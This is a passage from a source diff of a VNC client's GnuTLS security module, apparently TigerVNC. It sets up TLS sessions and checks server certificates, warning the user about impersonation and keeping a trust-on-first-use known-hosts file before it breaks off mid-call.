(anon) { - ret = gnutls_anon_allocate_client_credentials(&anon_cred); - if (ret != GNUTLS_E_SUCCESS) - throw rdr::tls_error("gnutls_anon_allocate_client_credentials()", ret); - - ret = gnutls_credentials_set(session, GNUTLS_CRD_ANON, anon_cred); - if (ret != GNUTLS_E_SUCCESS) - throw rdr::tls_error("gnutls_credentials_set()", ret); - - vlog.debug("Anonymous session has been set"); - } else { - const char* hostname; - size_t len; - bool valid; - - ret = gnutls_certificate_allocate_credentials(&cert_cred); - if (ret != GNUTLS_E_SUCCESS) - throw rdr::tls_error("gnutls_certificate_allocate_credentials()", ret); - - if (gnutls_certificate_set_x509_system_trust(cert_cred) < 1) - vlog.error("Could not load system certificate trust store"); - - if (gnutls_certificate_set_x509_trust_file(cert_cred, X509CA, GNUTLS_X509_FMT_PEM) < 0) - vlog.error("Could not load user specified certificate authority"); - - if (gnutls_certificate_set_x509_crl_file(cert_cred, X509CRL, GNUTLS_X509_FMT_PEM) < 0) - vlog.error("Could not load user specified certificate revocation list"); - - ret = gnutls_credentials_set(session, GNUTLS_CRD_CERTIFICATE, cert_cred); - if (ret != GNUTLS_E_SUCCESS) - throw rdr::tls_error("gnutls_credentials_set()", ret); - - // Only DNS hostnames are allowed, and some servers will reject the - // connection if we provide anything else (e.g. an IPv6 address) - hostname = client->getServerName(); - len = strlen(hostname); - valid = true; - for (size_t i = 0; i < len; i++) { - if (!isalnum(hostname[i]) && hostname[i] != '.') - valid = false; - } - - if (valid) { - if (gnutls_server_name_set(session, GNUTLS_NAME_DNS, - client->getServerName(), - strlen(client->getServerName())) != GNUTLS_E_SUCCESS) - vlog.error("Failed to configure the server name for TLS handshake"); - } - - vlog.debug("X509 session has been set"); - } -} - -void CSecurityTLS::checkSession() -{ - const unsigned allowed_errors = GNUTLS_CERT_INVALID | - GNUTLS_CERT_SIGNER_NOT_FOUND | - GNUTLS_CERT_SIGNER_NOT_CA | - GNUTLS_CERT_NOT_ACTIVATED | - GNUTLS_CERT_EXPIRED | - GNUTLS_CERT_INSECURE_ALGORITHM; - unsigned int status; - const gnutls_datum_t *cert_list; - unsigned int cert_list_size = 0; - int err, known; - bool hostname_match; - - const char *hostsDir; - gnutls_datum_t info; - size_t len; - - if (anon) - return; - - if (gnutls_certificate_type_get(session) != GNUTLS_CRT_X509) { - gnutls_alert_send(session, GNUTLS_AL_FATAL, - GNUTLS_A_UNSUPPORTED_CERTIFICATE); - throw protocol_error("Unsupported certificate type"); - } - - err = gnutls_certificate_verify_peers2(session, &status); - if (err != 0) { - vlog.error("Server certificate verification failed: %s", gnutls_strerror(err)); - gnutls_alert_send_appropriate(session, err); - throw rdr::tls_error("Server certificate verification()", err); - } - - if (status != 0) { - gnutls_datum_t status_str; - unsigned int fatal_status; - - fatal_status = status & (~allowed_errors); - - if (fatal_status != 0) { - std::string error; - - err = gnutls_certificate_verification_status_print(fatal_status, - GNUTLS_CRT_X509, - &status_str, - 0); - if (err != GNUTLS_E_SUCCESS) { - gnutls_alert_send_appropriate(session, err); - throw rdr::tls_error("Failed to get certificate error description", err); - } - - error = (const char*)status_str.data; - - gnutls_free(status_str.data); - - gnutls_alert_send(session, GNUTLS_AL_FATAL, - GNUTLS_A_BAD_CERTIFICATE); - throw protocol_error( - core::format("Invalid server certificate: %s", error.c_str())); - } - - err = gnutls_certificate_verification_status_print(status, - GNUTLS_CRT_X509, - &status_str, - 0); - if (err != GNUTLS_E_SUCCESS) { - gnutls_alert_send_appropriate(session, err); - throw rdr::tls_error("Failed to get certificate error description", err); - } - - vlog.info("Server certificate errors: %s", status_str.data); - - gnutls_free(status_str.data); - } - - /* Process overridable errors later */ - - cert_list = gnutls_certificate_get_peers(session, &cert_list_size); - if (!cert_list_size) { - gnutls_alert_send(session, GNUTLS_AL_FATAL, - GNUTLS_A_UNSUPPORTED_CERTIFICATE); - throw protocol_error("Empty certificate chain"); - } - - /* Process only server's certificate, not issuer's certificate */ - gnutls_x509_crt_t crt; - gnutls_x509_crt_init(&crt); - - err = gnutls_x509_crt_import(crt, &cert_list[0], GNUTLS_X509_FMT_DER); - if (err != GNUTLS_E_SUCCESS) { - gnutls_alert_send_appropriate(session, err); - throw rdr::tls_error("Failed to decode server certificate", err); - } - - if (gnutls_x509_crt_check_hostname(crt, client->getServerName()) == 0) { - vlog.info("Server certificate doesn't match given server name"); - hostname_match = false; - } else { - hostname_match = true; - } - - if ((status == 0) && hostname_match) { - /* Everything is fine (hostname + verification) */ - gnutls_x509_crt_deinit(crt); - return; - } - - /* Certificate has some user overridable problems, so TOFU time */ - - hostsDir = core::getvncstatedir(); - if (hostsDir == nullptr) { - throw std::runtime_error("Could not obtain VNC state directory " - "path for known hosts storage"); - } - - std::string dbPath; - dbPath = (std::string)hostsDir + "/x509_known_hosts"; - - known = gnutls_verify_stored_pubkey(dbPath.c_str(), nullptr, - client->getServerName(), nullptr, - GNUTLS_CRT_X509, &cert_list[0], 0); - - /* Previously known? */ - if (known == GNUTLS_E_SUCCESS) { - vlog.info("Server certificate found in known hosts file"); - gnutls_x509_crt_deinit(crt); - return; - } - - if ((known != GNUTLS_E_NO_CERTIFICATE_FOUND) && - (known != GNUTLS_E_CERTIFICATE_KEY_MISMATCH)) { - gnutls_alert_send_appropriate(session, known); - throw rdr::tls_error("Could not load known hosts database", known); - } - - err = gnutls_x509_crt_print(crt, GNUTLS_CRT_PRINT_ONELINE, &info); - if (err != GNUTLS_E_SUCCESS) { - gnutls_alert_send_appropriate(session, known); - throw rdr::tls_error("Could not find certificate to display", err); - } - - len = strlen((char*)info.data); - for (size_t i = 0; i < len - 1; i++) { - if (info.data[i] == ',' && info.data[i + 1] == ' ') - info.data[i] = '\n'; - } - - /* New host */ - if (known == GNUTLS_E_NO_CERTIFICATE_FOUND) { - std::string text; - - vlog.info("Server host not previously known"); - vlog.info("%s", info.data); - - if (status & (GNUTLS_CERT_INVALID | - GNUTLS_CERT_SIGNER_NOT_FOUND | - GNUTLS_CERT_SIGNER_NOT_CA)) { - text = core::format( - "This certificate has been signed by an unknown authority:\n" - "\n" - "%s\n" - "\n" - "Someone could be trying to impersonate the site and you " - "should not continue.\n" - "\n" - "Do you want to make an exception for this server?", - info.data); - - if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, - "Unknown certificate issuer", - text.c_str())) { - gnutls_alert_send(session, GNUTLS_AL_FATAL, - GNUTLS_A_UNKNOWN_CA); - throw auth_cancelled(); - } - - status &= ~(GNUTLS_CERT_INVALID | - GNUTLS_CERT_SIGNER_NOT_FOUND | - GNUTLS_CERT_SIGNER_NOT_CA); - } - - if (status & GNUTLS_CERT_NOT_ACTIVATED) { - text = core::format( - "This certificate is not yet valid:\n" - "\n" - "%s\n" - "\n" - "Someone could be trying to impersonate the site and you " - "should not continue.\n" - "\n" - "Do you want to make an exception for this server?", - info.data); - - if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, - "Certificate is not yet valid", - text.c_str())) { - gnutls_alert_send(session, GNUTLS_AL_FATAL, - GNUTLS_A_BAD_CERTIFICATE); - throw auth_cancelled(); - } - - status &= ~GNUTLS_CERT_NOT_ACTIVATED; - } - - if (status & GNUTLS_CERT_EXPIRED) { - text = core::format( - "This certificate has expired:\n" - "\n" - "%s\n" - "\n" - "Someone could be trying to impersonate the site and you " - "should not continue.\n" - "\n" - "Do you want to make an exception for this server?", - info.data); - - if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, - "Expired certificate", - text.c_str())) { - gnutls_alert_send(session, GNUTLS_AL_FATAL, - GNUTLS_A_BAD_CERTIFICATE); - throw auth_cancelled(); - } - - status &= ~GNUTLS_CERT_EXPIRED; - } - - if (status & GNUTLS_CERT_INSECURE_ALGORITHM) { - text = core::format( - "This certificate uses an insecure algorithm:\n" - "\n" - "%s\n" - "\n" - "Someone could be trying to impersonate the site and you " - "should not continue.\n" - "\n" - "Do you want to make an exception for this server?", - info.data); - - if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, - "Insecure certificate algorithm", - text.c_str())) { - gnutls_alert_send(session, GNUTLS_AL_FATAL, - GNUTLS_A_BAD_CERTIFICATE); - throw auth_cancelled(); - } - - status &= ~GNUTLS_CERT_INSECURE_ALGORITHM; - } - - if (status != 0) { - vlog.error("Unhandled certificate problems: 0x%x", status); - gnutls_alert_send(session, GNUTLS_AL_FATAL, - GNUTLS_A_BAD_CERTIFICATE); - throw std::logic_error("Unhandled certificate problems"); - } - - if (!hostname_match) { - text = core::format( - "The specified hostname \"%s\" does not match the certificate " - "provided by the server:\n" - "\n" - "%s\n" - "\n" - "Someone could be trying to impersonate the site and you " - "should not continue.\n" - "\n" - "Do you want to make an exception for this server?", - client->getServerName(), info.data); - - if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, - "Certificate hostname mismatch", - text.c_str())) { - gnutls_alert_send(session, GNUTLS_AL_FATAL, - GNUTLS_A_BAD_CERTIFICATE); - throw auth_cancelled(); - } - } - } else if (known == GNUTLS_E_CERTIFICATE_KEY_MISMATCH) { - std::string text; - - vlog.info("Server host key mismatch"); - vlog.info("%s", info.data); - - if (status & (GNUTLS_CERT_INVALID | - GNUTLS_CERT_SIGNER_NOT_FOUND | - GNUTLS_CERT_SIGNER_NOT_CA)) { - text = core::format( - "This host is previously known with a different certificate, " - "and the new certificate has been signed by an unknown " - "authority:\n" - "\n" - "%s\n" - "\n" - "Someone could be trying to impersonate the site and you " - "should not continue.\n" - "\n" - "Do you want to make an exception for this server?", - info.data); - - if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, - "Unexpected server certificate", - text.c_str())) { - gnutls_alert_send(session, GNUTLS_AL_FATAL, - GNUTLS_A_UNKNOWN_CA); - throw auth_cancelled(); - } - - status &= ~(GNUTLS_CERT_INVALID | - GNUTLS_CERT_SIGNER_NOT_FOUND | - GNUTLS_CERT_SIGNER_NOT_CA); - } - - if (status & GNUTLS_CERT_NOT_ACTIVATED) { - text = core::format( - "This host is previously known with a different certificate, " - "and the new certificate is not yet valid:\n" - "\n" - "%s\n" - "\n" - "Someone could be trying to impersonate the site and you " - "should not continue.\n" - "\n" - "Do you want to make an exception for this server?", - info.data); - - if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, - "Unexpected server certificate", - text.c_str())) { - gnutls_alert_send(session, GNUTLS_AL_FATAL, - GNUTLS_A_BAD_CERTIFICATE); - throw auth_cancelled(); - } - - status &= ~GNUTLS_CERT_NOT_ACTIVATED; - } - - if (status & GNUTLS_CERT_EXPIRED) { - text = core::format( - "This host is previously known with a different certificate, " - "and the new certificate has expired:\n" - "\n" - "%s\n" - "\n" - "Someone could be trying to impersonate the site and you " - "should not continue.\n" - "\n" - "Do you want to make an exception for this server?", - info.data); - - if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, - "Unexpected server certificate", - text.c_str())) { - gnutls_alert_send(session, GNUTLS_AL_FATAL, - GNUTLS_A_BAD_CERTIFICATE); - throw auth_cancelled(); - } - - status &= ~GNUTLS_CERT_EXPIRED; - } - - if (status & GNUTLS_CERT_INSECURE_ALGORITHM) { - text = core::format( - "This host is previously known with a different certificate, " - "and the new certificate uses an insecure algorithm:\n" - "\n" - "%s\n" - "\n" - "Someone could be trying to impersonate the site and you " - "should not continue.\n" - "\n" - "Do you want to make an exception for this server?", - info.data); - - if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, - "Unexpected server certificate", - text.c_str())) { - gnutls_alert_send(session, GNUTLS_AL_FATAL, - GNUTLS_A_BAD_CERTIFICATE); - throw auth_cancelled(); - } - - status &= ~GNUTLS_CERT_INSECURE_ALGORITHM; - } - - if (status != 0) { - vlog.error("Unhandled certificate problems: 0x%x", status); - gnutls_alert_send(session, GNUTLS_AL_FATAL, - GNUTLS_A_BAD_CERTIFICATE); - throw std::logic_error("Unhandled certificate problems"); - } - - if (!hostname_match) { - text = core::format( - "This host is previously known with a different certificate, " - "and the specified hostname \"%s\" does not match the new " - "certificate provided by the server:\n" - "\n" - "%s\n" - "\n" - "Someone could be trying to impersonate the site and you " - "should not continue.\n" - "\n" - "Do you want to make an exception for this server?", - client->getServerName(), info.data); - - if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, - "Unexpected server certificate", - text.c_str())) { - gnutls_alert_send(session, GNUTLS_AL_FATAL, - GNUTLS_A_BAD_CERTIFICATE); - throw auth_cancelled(); - } - } - } - - if (gnutls_store_pubkey(dbPath.c_str(), nullptr, - client->getServerName(), nullptr, - GNUTLS_CRT_X509, &cert_list[0], 0, 0)) - vlog.error("Failed to store server certificate to known hosts database"); - - vlog.info("Exception added for server host"); - - gnutls_x509_crt_deinit(crt); - gnutls_free(info.data); -} - +/* + * Copyright (C) 2004 Red Hat Inc. + * Copyright (C) 2005 Martin Koegler + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright (C) 2010 m-privacy GmbH + * Copyright 2012-2025 Pierre Ossman for Cendio AB + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#ifndef HAVE_GNUTLS +#error "This header should not be compiled without HAVE_GNUTLS defined" +#endif + +#include +#ifndef WIN32 +#include +#endif + +#include +#include +#include + +#include +#include +#include + +#include +#include + +#include + +using namespace rfb; + +static const char* configdirfn(const char* fn); + +core::StringParameter CSecurityTLS::X509CA("X509CA", "X509 CA certificate", + configdirfn("x509_ca.pem")); +core::StringParameter CSecurityTLS::X509CRL("X509CRL", "X509 CRL file", + configdirfn("x509_crl.pem")); + +static core::LogWriter vlog("TLS"); + +static const char* configdirfn(const char* fn) +{ + static char full_path[PATH_MAX]; + const char* configdir; + + configdir = core::getvncconfigdir(); + if (configdir == nullptr) + return ""; + + snprintf(full_path, sizeof(full_path), "%s/%s", configdir, fn); + return full_path; +} + +CSecurityTLS::CSecurityTLS(CConnection* cc_, bool _anon) + : CSecurity(cc_), session(nullptr), + anon_cred(nullptr), cert_cred(nullptr), + anon(_anon), tlssock(nullptr), + rawis(nullptr), rawos(nullptr) +{ + int err = gnutls_global_init(); + if (err != GNUTLS_E_SUCCESS) + throw rdr::tls_error("gnutls_global_init()", err); +} + +void CSecurityTLS::shutdown() +{ + if (tlssock) + tlssock->shutdown(); + + if (anon_cred) { + gnutls_anon_free_client_credentials(anon_cred); + anon_cred = nullptr; + } + + if (cert_cred) { + gnutls_certificate_free_credentials(cert_cred); + cert_cred = nullptr; + } + + if (rawis && rawos) { + cc->setStreams(rawis, rawos); + rawis = nullptr; + rawos = nullptr; + } + + if (tlssock) { + delete tlssock; + tlssock = nullptr; + } + + if (session) { + gnutls_deinit(session); + session = nullptr; + } +} + + +CSecurityTLS::~CSecurityTLS() +{ + shutdown(); + + gnutls_global_deinit(); +} + +bool CSecurityTLS::processMsg() +{ + rdr::InStream* is = cc->getInStream(); + rdr::OutStream* os = cc->getOutStream(); + client = cc; + + if (!session) { + int ret; + + if (!is->hasData(1)) + return false; + + if (is->readU8() == 0) + throw protocol_error("Server failed to initialize TLS session"); + + ret = gnutls_init(&session, GNUTLS_CLIENT); + if (ret != GNUTLS_E_SUCCESS) + throw rdr::tls_error("gnutls_init()", ret); + + ret = gnutls_set_default_priority(session); + if (ret != GNUTLS_E_SUCCESS) + throw rdr::tls_error("gnutls_set_default_priority()", ret); + + setParam(); + + tlssock = new rdr::TLSSocket(is, os, session); + + rawis = is; + rawos = os; + } + + try { + if (!tlssock->handshake()) + return false; + } catch (std::exception&) { + shutdown(); + throw; + } + + vlog.debug("TLS handshake completed with %s", + gnutls_session_get_desc(session)); + + checkSession(); + + cc->setStreams(&tlssock->inStream(), &tlssock->outStream()); + + return true; +} + +void CSecurityTLS::setParam() +{ + static const char kx_anon_priority[] = "+ANON-ECDH:+ANON-DH"; + + int ret; + + // Custom priority string specified? + if (strcmp(Security::GnuTLSPriority, "") != 0) { + std::string prio; + const char *err; + + prio = (const char*)Security::GnuTLSPriority; + if (anon) { + prio += ":"; + prio += kx_anon_priority; + } + + ret = gnutls_priority_set_direct(session, prio.c_str(), &err); + if (ret != GNUTLS_E_SUCCESS) { + if (ret == GNUTLS_E_INVALID_REQUEST) + vlog.error("GnuTLS priority syntax error at: %s", err); + throw rdr::tls_error("gnutls_set_priority_direct()", ret); + } + } else if (anon) { + const char *err; + +#if GNUTLS_VERSION_NUMBER >= 0x030603 + ret = gnutls_set_default_priority_append(session, kx_anon_priority, &err, 0); + if (ret != GNUTLS_E_SUCCESS) { + if (ret == GNUTLS_E_INVALID_REQUEST) + vlog.error("GnuTLS priority syntax error at: %s", err); + throw rdr::tls_error("gnutls_set_default_priority_append()", ret); + } +#else + std::string prio; + + // We don't know what the system default priority is, so we guess + // it's what upstream GnuTLS has + prio = "NORMAL"; + prio += ":"; + prio += kx_anon_priority; + + ret = gnutls_priority_set_direct(session, prio.c_str(), &err); + if (ret != GNUTLS_E_SUCCESS) { + if (ret == GNUTLS_E_INVALID_REQUEST) + vlog.error("GnuTLS priority syntax error at: %s", err); + throw rdr::tls_error("gnutls_set_priority_direct()", ret); + } +#endif + } + + if (anon) { + ret = gnutls_anon_allocate_client_credentials(&anon_cred); + if (ret != GNUTLS_E_SUCCESS) + throw rdr::tls_error("gnutls_anon_allocate_client_credentials()", ret); + + ret = gnutls_credentials_set(session, GNUTLS_CRD_ANON, anon_cred); + if (ret != GNUTLS_E_SUCCESS) + throw rdr::tls_error("gnutls_credentials_set()", ret); + + vlog.debug("Anonymous session has been set"); + } else { + const char* hostname; + size_t len; + bool valid; + + ret = gnutls_certificate_allocate_credentials(&cert_cred); + if (ret != GNUTLS_E_SUCCESS) + throw rdr::tls_error("gnutls_certificate_allocate_credentials()", ret); + + if (gnutls_certificate_set_x509_system_trust(cert_cred) < 1) + vlog.error("Could not load system certificate trust store"); + + if (gnutls_certificate_set_x509_trust_file(cert_cred, X509CA, GNUTLS_X509_FMT_PEM) < 0) + vlog.error("Could not load user specified certificate authority"); + + if (gnutls_certificate_set_x509_crl_file(cert_cred, X509CRL, GNUTLS_X509_FMT_PEM) < 0) + vlog.error("Could not load user specified certificate revocation list"); + + ret = gnutls_credentials_set(session, GNUTLS_CRD_CERTIFICATE, cert_cred); + if (ret != GNUTLS_E_SUCCESS) + throw rdr::tls_error("gnutls_credentials_set()", ret); + + // Only DNS hostnames are allowed, and some servers will reject the + // connection if we provide anything else (e.g. an IPv6 address) + hostname = client->getServerName(); + len = strlen(hostname); + valid = true; + for (size_t i = 0; i < len; i++) { + if (!isalnum(hostname[i]) && hostname[i] != '.') + valid = false; + } + + if (valid) { + if (gnutls_server_name_set(session, GNUTLS_NAME_DNS, + client->getServerName(), + strlen(client->getServerName())) != GNUTLS_E_SUCCESS) + vlog.error("Failed to configure the server name for TLS handshake"); + } + + vlog.debug("X509 session has been set"); + } +} + +void CSecurityTLS::checkSession() +{ + const unsigned allowed_errors = GNUTLS_CERT_INVALID | + GNUTLS_CERT_SIGNER_NOT_FOUND | + GNUTLS_CERT_SIGNER_NOT_CA | + GNUTLS_CERT_NOT_ACTIVATED | + GNUTLS_CERT_EXPIRED | + GNUTLS_CERT_INSECURE_ALGORITHM; + unsigned int status; + const gnutls_datum_t *cert_list; + unsigned int cert_list_size = 0; + int err, known; + bool hostname_match; + + const char *hostsDir; + gnutls_datum_t info; + size_t len; + + if (anon) + return; + + if (gnutls_certificate_type_get(session) != GNUTLS_CRT_X509) { + gnutls_alert_send(session, GNUTLS_AL_FATAL, + GNUTLS_A_UNSUPPORTED_CERTIFICATE); + throw protocol_error("Unsupported certificate type"); + } + + err = gnutls_certificate_verify_peers2(session, &status); + if (err != 0) { + vlog.error("Server certificate verification failed: %s", gnutls_strerror(err)); + gnutls_alert_send_appropriate(session, err); + throw rdr::tls_error("Server certificate verification()", err); + } + + if (status != 0) { + gnutls_datum_t status_str; + unsigned int fatal_status; + + fatal_status = status & (~allowed_errors); + + if (fatal_status != 0) { + std::string error; + + err = gnutls_certificate_verification_status_print(fatal_status, + GNUTLS_CRT_X509, + &status_str, + 0); + if (err != GNUTLS_E_SUCCESS) { + gnutls_alert_send_appropriate(session, err); + throw rdr::tls_error("Failed to get certificate error description", err); + } + + error = (const char*)status_str.data; + + gnutls_free(status_str.data); + + gnutls_alert_send(session, GNUTLS_AL_FATAL, + GNUTLS_A_BAD_CERTIFICATE); + throw protocol_error( + core::format("Invalid server certificate: %s", error.c_str())); + } + + err = gnutls_certificate_verification_status_print(status, + GNUTLS_CRT_X509, + &status_str, + 0); + if (err != GNUTLS_E_SUCCESS) { + gnutls_alert_send_appropriate(session, err); + throw rdr::tls_error("Failed to get certificate error description", err); + } + + vlog.info("Server certificate errors: %s", status_str.data); + + gnutls_free(status_str.data); + } + + /* Process overridable errors later */ + + cert_list = gnutls_certificate_get_peers(session, &cert_list_size); + if (!cert_list_size) { + gnutls_alert_send(session, GNUTLS_AL_FATAL, + GNUTLS_A_UNSUPPORTED_CERTIFICATE); + throw protocol_error("Empty certificate chain"); + } + + /* Process only server's certificate, not issuer's certificate */ + gnutls_x509_crt_t crt; + gnutls_x509_crt_init(&crt); + + err = gnutls_x509_crt_import(crt, &cert_list[0], GNUTLS_X509_FMT_DER); + if (err != GNUTLS_E_SUCCESS) { + gnutls_alert_send_appropriate(session, err); + throw rdr::tls_error("Failed to decode server certificate", err); + } + + if (gnutls_x509_crt_check_hostname(crt, client->getServerName()) == 0) { + vlog.info("Server certificate doesn't match given server name"); + hostname_match = false; + } else { + hostname_match = true; + } + + if ((status == 0) && hostname_match) { + /* Everything is fine (hostname + verification) */ + gnutls_x509_crt_deinit(crt); + return; + } + + /* Certificate has some user overridable problems, so TOFU time */ + + hostsDir = core::getvncstatedir(); + if (hostsDir == nullptr) { + throw std::runtime_error("Could not obtain VNC state directory " + "path for known hosts storage"); + } + + std::string dbPath; + dbPath = (std::string)hostsDir + "/x509_known_hosts"; + + known = gnutls_verify_stored_pubkey(dbPath.c_str(), nullptr, + client->getServerName(), nullptr, + GNUTLS_CRT_X509, &cert_list[0], 0); + + /* Previously known? */ + if (known == GNUTLS_E_SUCCESS) { + vlog.info("Server certificate found in known hosts file"); + gnutls_x509_crt_deinit(crt); + return; + } + + if ((known != GNUTLS_E_NO_CERTIFICATE_FOUND) && + (known != GNUTLS_E_CERTIFICATE_KEY_MISMATCH)) { + gnutls_alert_send_appropriate(session, known); + throw rdr::tls_error("Could not load known hosts database", known); + } + + err = gnutls_x509_crt_print(crt, GNUTLS_CRT_PRINT_ONELINE, &info); + if (err != GNUTLS_E_SUCCESS) { + gnutls_alert_send_appropriate(session, known); + throw rdr::tls_error("Could not find certificate to display", err); + } + + len = strlen((char*)info.data); + for (size_t i = 0; i < len - 1; i++) { + if (info.data[i] == ',' && info.data[i + 1] == ' ') + info.data[i] = '\n'; + } + + /* New host */ + if (known == GNUTLS_E_NO_CERTIFICATE_FOUND) { + std::string text; + + vlog.info("Server host not previously known"); + vlog.info("%s", info.data); + + if (status & (GNUTLS_CERT_INVALID | + GNUTLS_CERT_SIGNER_NOT_FOUND | + GNUTLS_CERT_SIGNER_NOT_CA)) { + text = core::format( + "This certificate has been signed by an unknown authority:\n" + "\n" + "%s\n" + "\n" + "Someone could be trying to impersonate the site and you " + "should not continue.\n" + "\n" + "Do you want to make an exception for this server?", + info.data); + + if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, + "Unknown certificate issuer", + text.c_str())) { + gnutls_alert_send(session, GNUTLS_AL_FATAL, + GNUTLS_A_UNKNOWN_CA); + throw auth_cancelled(); + } + + status &= ~(GNUTLS_CERT_INVALID | + GNUTLS_CERT_SIGNER_NOT_FOUND | + GNUTLS_CERT_SIGNER_NOT_CA); + } + + if (status & GNUTLS_CERT_NOT_ACTIVATED) { + text = core::format( + "This certificate is not yet valid:\n" + "\n" + "%s\n" + "\n" + "Someone could be trying to impersonate the site and you " + "should not continue.\n" + "\n" + "Do you want to make an exception for this server?", + info.data); + + if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, + "Certificate is not yet valid", + text.c_str())) { + gnutls_alert_send(session, GNUTLS_AL_FATAL, + GNUTLS_A_BAD_CERTIFICATE); + throw auth_cancelled(); + } + + status &= ~GNUTLS_CERT_NOT_ACTIVATED; + } + + if (status & GNUTLS_CERT_EXPIRED) { + text = core::format( + "This certificate has expired:\n" + "\n" + "%s\n" + "\n" + "Someone could be trying to impersonate the site and you " + "should not continue.\n" + "\n" + "Do you want to make an exception for this server?", + info.data); + + if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, + "Expired certificate", + text.c_str())) { + gnutls_alert_send(session, GNUTLS_AL_FATAL, + GNUTLS_A_BAD_CERTIFICATE); + throw auth_cancelled(); + } + + status &= ~GNUTLS_CERT_EXPIRED; + } + + if (status & GNUTLS_CERT_INSECURE_ALGORITHM) { + text = core::format( + "This certificate uses an insecure algorithm:\n" + "\n" + "%s\n" + "\n" + "Someone could be trying to impersonate the site and you " + "should not continue.\n" + "\n" + "Do you want to make an exception for this server?", + info.data); + + if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, + "Insecure certificate algorithm", + text.c_str())) { + gnutls_alert_send(session, GNUTLS_AL_FATAL, + GNUTLS_A_BAD_CERTIFICATE); + throw auth_cancelled(); + } + + status &= ~GNUTLS_CERT_INSECURE_ALGORITHM; + } + + if (status != 0) { + vlog.error("Unhandled certificate problems: 0x%x", status); + gnutls_alert_send(session, GNUTLS_AL_FATAL, + GNUTLS_A_BAD_CERTIFICATE); + throw std::logic_error("Unhandled certificate problems"); + } + + if (!hostname_match) { + text = core::format( + "The specified hostname \"%s\" does not match the certificate " + "provided by the server:\n" + "\n" + "%s\n" + "\n" + "Someone could be trying to impersonate the site and you " + "should not continue.\n" + "\n" + "Do you want to make an exception for this server?", + client->getServerName(), info.data); + + if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, + "Certificate hostname mismatch", + text.c_str())) { + gnutls_alert_send(session, GNUTLS_AL_FATAL, + GNUTLS_A_BAD_CERTIFICATE); + throw auth_cancelled(); + } + } + } else if (known == GNUTLS_E_CERTIFICATE_KEY_MISMATCH) { + std::string text; + + vlog.info("Server host key mismatch"); + vlog.info("%s", info.data); + + if (status & (GNUTLS_CERT_INVALID | + GNUTLS_CERT_SIGNER_NOT_FOUND | + GNUTLS_CERT_SIGNER_NOT_CA)) { + text = core::format( + "This host is previously known with a different certificate, " + "and the new certificate has been signed by an unknown " + "authority:\n" + "\n" + "%s\n" + "\n" + "Someone could be trying to impersonate the site and you " + "should not continue.\n" + "\n" + "Do you want to make an exception for this server?", + info.data); + + if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, + "Unexpected server certificate", + text.c_str())) { + gnutls_alert_send(session, GNUTLS_AL_FATAL, + GNUTLS_A_UNKNOWN_CA); + throw auth_cancelled(); + } + + status &= ~(GNUTLS_CERT_INVALID | + GNUTLS_CERT_SIGNER_NOT_FOUND | + GNUTLS_CERT_SIGNER_NOT_CA); + } + + if (status & GNUTLS_CERT_NOT_ACTIVATED) { + text = core::format( + "This host is previously known with a different certificate, " + "and the new certificate is not yet valid:\n" + "\n" + "%s\n" + "\n" + "Someone could be trying to impersonate the site and you " + "should not continue.\n" + "\n" + "Do you want to make an exception for this server?", + info.data); + + if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, + "Unexpected server certificate", + text.c_str())) { + gnutls_alert_send(session, GNUTLS_AL_FATAL, + GNUTLS_A_BAD_CERTIFICATE); + throw auth_cancelled(); + } + + status &= ~GNUTLS_CERT_NOT_ACTIVATED; + } + + if (status & GNUTLS_CERT_EXPIRED) { + text = core::format( + "This host is previously known with a different certificate, " + "and the new certificate has expired:\n" + "\n" + "%s\n" + "\n" + "Someone could be trying to impersonate the site and you " + "should not continue.\n" + "\n" + "Do you want to make an exception for this server?", + info.data); + + if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, + "Unexpected server certificate", + text.c_str())) { + gnutls_alert_send(session, GNUTLS_AL_FATAL, + GNUTLS_A_BAD_CERTIFICATE); + throw auth_cancelled(); + } + + status &= ~GNUTLS_CERT_EXPIRED; + } + + if (status & GNUTLS_CERT_INSECURE_ALGORITHM) { + text = core::format( + "This host is previously known with a different certificate, " + "and the new certificate uses an insecure algorithm:\n" + "\n" + "%s\n" + "\n" + "Someone could be trying to impersonate the site and you " + "should not continue.\n" + "\n" + "Do you want to make an exception for this server?", + info.data); + + if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, + "Unexpected server certificate", + text.c_str())) { + gnutls_alert_send(session, GNUTLS_AL_FATAL, + GNUTLS_A_BAD_CERTIFICATE); + throw auth_cancelled(); + } + + status &= ~GNUTLS_CERT_INSECURE_ALGORITHM; + } + + if (status != 0) { + vlog.error("Unhandled certificate problems: 0x%x", status); + gnutls_alert_send(session, GNUTLS_AL_FATAL, + GNUTLS_A_BAD_CERTIFICATE); + throw std::logic_error("Unhandled certificate problems"); + } + + if (!hostname_match) { + text = core::format( + "This host is previously known with a different certificate, " + "and the specified hostname \"%s\" does not match the new " + "certificate provided by the server:\n" + "\n" + "%s\n" + "\n" + "Someone could be trying to impersonate the site and you " + "should not continue.\n" + "\n" + "Do you want to make an exception for this server?", + client->getServerName(), info.data); + + if (!cc->showMsgBox(MsgBoxFlags::M_YESNO, + "Unexpected server certificate", + text.c_str())) { + gnutls_alert_send(session, 